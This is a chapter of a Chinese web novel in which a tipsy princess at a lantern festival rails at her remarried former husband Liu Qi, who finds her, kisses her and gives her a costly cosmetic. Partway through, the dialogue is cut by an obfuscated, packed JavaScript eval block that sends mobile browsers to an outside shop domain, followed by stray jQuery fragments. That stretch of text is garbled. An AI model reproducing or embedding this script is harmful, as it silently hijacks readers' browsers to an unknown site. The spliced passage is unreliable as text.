58. 第58章 倦倚西风
    我适才反应过来白兰的意思,我从没想过,他竟计较到了这一层。

    只是,眼下我的身份却与往昔不同。

    我曾是刘起的妻,那时我要什么他都会给我买。

    可现在他的妻子是大小谢氏,他也理应只照顾她们的喜好才对。

    我不想给自己找难堪,这块乌膏对我来说可有可无,并非什么稀罕之物。

    可对谢沉鱼和谢落雁来说,却是唯一的挚宝。

    她们都是南人,生在建康,也长在建康,从未见过这西域之物,有所喜爱也是应当。

    谢沉鱼想要,我却不想。

    既不想,便没有去争的道理。

    我摇摇头,对白兰小声道:“我不要了,我们走吧。”

    白兰却说什么都不肯动弹,我再去拉墨竹,他也和长了根似的,不论我怎么拉都纹丝不动。

    我哀叹一口气,僵在那,险些无助得哭出声来。

    我不是怪他们,是怪我自己。

    此事,就连白兰和墨竹都比我有骨气,而我却像是个缩头乌龟似的,只想着遁地逃走。

    片刻过后,那道身影悠然地起了身,缓步走到谢沉鱼身边,柔声问:“看好了吗?”

    谢沉鱼用力地点点头,“看好了,只是这位公子不肯割爱。”

    从踏进这间店铺之后,他终于再次将视线聚焦到我身上,可脸上却依旧没有一丝表情,好像在看一个完全陌生的人。

    料想我的这副装扮,他应是没有认出来吧。

    他没有问我,也没有同我说话,只是转身对伙计道:“我出百两金,可得此物?”

    伙计闻言,点头哈腰,嘴巴咧到了耳根子,连声应道:“可得可得,贵客慢坐,我这就去替您包好。”

    刘起接过包裹转身离开,谢沉鱼一脸满足,挽着他兴高采烈地走了。

    我脸阴沉得难看,转过头哀怨地看了白兰一眼。

    白兰懒得理我,眼皮子都快翻上了天,负手就往门外去。

    我又看墨竹一眼,他亦是一脸哀其不幸,怒其不争的表情。

    我肚里百转千回,满不是滋味,却无从说起。

    黑了天,我便拉着白兰墨竹一头扎进了酒馆。

    这灯会也没什么好看的,翻来覆去无非是那么几个样式,转了两圈,便觉得了无生趣。

    还是酒馆适合我,活色生香,歌舞升平。

    我叫了两壶好酒,又格外奢侈地点了几道硬菜,硬拽着白兰和墨竹一醉方休。

    从前我在公主府时,没少这么喝过,梅兰竹菊几个,酒量更是一个赛过一个。

    只在内寺这几年里,我滴酒未沾,如今更是两杯下肚,就有些找不着北了。

    墨竹夺过我手中的酒杯,埋怨道:“殿下莫要再饮了,大病初愈,如此酗酒,实为不妥。”

    我趴在桌上,醉得连头都抬不起来,有气无力道:“你,还我!八十两金的乌膏我买不起,八十铢钱的酒我还喝不起吗?”

    白兰重新拿出一只酒杯斟满,推到我眼面前,“殿下此言不虚,喝醉了吐一遭便是,如若不然,那就大哭一场也好,总好过闷在肚里,会憋出内伤的。”

    我歪七扭八地点点头,“还是白兰懂我。”

    我一口气喝到了亥时末,半臂高的酒壶吹倒了三五瓶,最后烂泥似的被墨竹扛出了酒馆。

    因了灯会的缘故,今夜不会有宵禁,街道两旁人头攒动,白兰走在前头,为我俩引路。

    我像只死猪般一声不吭地趴在墨竹背上,脑子里来去打转的都是那几句话——“八十两金、百两金……八十两金、百两金……”

    哼,有钱了不起吗?

    再有钱,以前不还是吃我的、喝我的,如今出息了,也硬气了,胆敢对我目中无人。

    “刘起,受死吧!”

    我忽地大喊一声,雷劈了似的从墨竹背上弹起上半身,大声嚷道:“拿命来,拿命来,今日我定要手刃了你这个渣男!”

    “渣男!!”

    “渣男!!!”

    我一声高过一身,宛如滔天巨浪般不断咆哮着,仿佛再多喊几遍,便能将我心中的怨气全都化解。

    路人纷纷侧目,我却越喊越起劲,嘴里不停地念叨着刘起的名字,一念一骂,一骂一吼,恨不得将他碎尸万段了才好。

    白兰好面子,受不了我这般不成体统,只得埋头扯过袍袖挡脸,生怕被人看了去。

    走着走着,周遭突然一片黑暗,原先四面八方投射而来的光源,竟在瞬间全都熄了个干净。

    没了光,便看不清路,也不能再走。

    白兰招呼着我们停下,墨竹轻手将我放了下来,我扶在一根木桩边哇哇大吐。

    恰逢子时,悬瓠城内即将开始祭月灯会最重要的一项活动——燃放烟花。

    我正吐得晕头转向,胃里波涛汹涌,连话都说不清楚一句,便是这样,我还要继续骂,含含糊糊地骂。

    “刘起,渣男!”

    “谁让你娶妻生子的,渣男!”

    “从前起的誓,你难道都忘了吗?渣男渣男!”

    “呜呜呜呜——渣男啊!”

    我边哭边吐,一阵凉风吹过,身上冷飕飕的,再抬头一看,周围黢黑一片,早就不见了白兰和墨竹的身影。

    我登时有些害怕,这场景莫名让我回忆起前世死后曾在地府游荡的经历来。

    当时的我,也是深陷在如此一望无际地黑暗之中,迷惘胆怯,寻不着一丝光明。

    然后,我睁开了眼,便又看见了他。

    刘起——那个如同启明星一般,指引着我方向的人。

    我怕得闭起双眼,跌坐在木桩后头,双手环抱住膝盖,像个尚未投胎的冤魂一般,瑟缩着不敢乱动。

    直到我朦胧地感受到一缕淡黄色的暖光,再睁开眼,我便见着了那个令我朝朝暮暮牵肠挂肚的人。

    “你……怎么来了?”

    我迷迷糊糊地开了腔。

    他越走越近,脚步轻缓,袍摆在摇摆的烛光中荡漾出好看的弧度。

    他走到我的身前蹲下,将燃着烛火的灯笼放在地上,抬手拢了拢我的耳边碎发。

    “怎么醉了?”

    我摇头晃脑,搞不清状况,明明是我先问他的,怎么他又问起我来了。

    我不上套,板着脸问:“你为何要来?”

    他应道:“来寻你。”

    我道:“寻我?寻我做什么?”

    “你不是应该去陪你那小娇妻吗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346664|148151||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?”

    他不答,别过脸去有些别扭道:“不提了,好不好?”

    “不好不好……”

    我继续撒泼打滚,“要提要提,我偏生要提。”

    “说什么一生一世,永不离弃,还说什么要同我好好过日子的,骗我的,都是骗我的……”

    我话还没说完,他忽地将我一把抱住,紧紧地搂在怀里,紧到我几乎难以呼吸。

    “是我食言了,是启明食言了。”

    我猛地用力将他推开,怒道:“说得比唱得还好听,我是醉了,不是犯浑,我不信你。”

    我撑起身子就想走,可双腿就像不听使唤似的,舍不得往前挪动半步。

    他急得还想再说些什么,我却晃着脑袋什么都不肯听。

    他没了办法,一手掰过我的脸,重重地吻了下来。

    我去推、去打、去踹……他硬是不肯放松半分力气。

    他到底是个武将出身,论蛮力,我哪里会是他的对手,我被他死死地捧在手心里,连喘息的机会都没有。

    他的吻如同南来的细雨霏霏,不由分说地落在我的唇上,细密柔软,缠绵悱恻。

    此时,满城烟花尽数绽放,万千星火缀满夜空。

    他迫切地含住我的双唇,舌尖顶开我的齿贝,不断地侵扰着我,打乱我的心跳和呼吸。

    我气他恼他,更是烦他,拼劲全力想要挣扎推开他。

    他见我反抗激烈,也不敢太过用力,放缓了嘴边的动作,抵着我的气息道:“再给我点时间,好吗?”

    “再给我点时间,我就来接你。”

    我不知道他在说什么,更想不通他说的来接我,是要接我去哪里?

    去建康,还是去洛京,总之去哪里都不可能是跟着他一起。

    我哑然失笑,苦涩地摇了摇头,“莫要再扯谎骗我,骗你自己了。”

    “我是北人,你是南人,天南地北永相隔,如何还有以后?”

    “你既有了妻室,就不要再来寻我,做那过多纠缠,又有什么意义?”

    “我到底是个过去的人,过去了便不再是你的将来。”

    我说着,眼泪却像倒了天的暴雨似的下个没完。

    我也想争口气,也想像他那般面无表情地说话,可我却怎么都做不到,痛苦到竟连半口气也提不上来,耳边净是烟火爆裂的巨响。

    五年了,我本以为自己至少可以坦然地面对他。

    而今来看,却是我太过天真。

    这五年来的每一天,甚至每一分每一秒,我都从未将他忘记。

    他一直活在我的心中,哪怕相隔千里万里,哪怕置身于天涯海角,我亦能清晰地将他记住。

    他不说话,低眉牵起我的手,从袖中拿出了一枚小盒,小心翼翼地塞进我手中。

    “见你喜欢,便买来送你。”

    我低头,摊开手心。

    小小的沉香木盒,散发着淡雅的香味,轻轻扭开盒盖,乌黑的膏体如墨玉般细腻。

    他轻言轻语,落在我耳边。

    “你肤白,擦上一定很美。”

    我止不住鼻尖泛酸,侧过脸躲开他的视线。

    百金才换来这一株铜钱大小的乌膏,却只是为了哄我开心。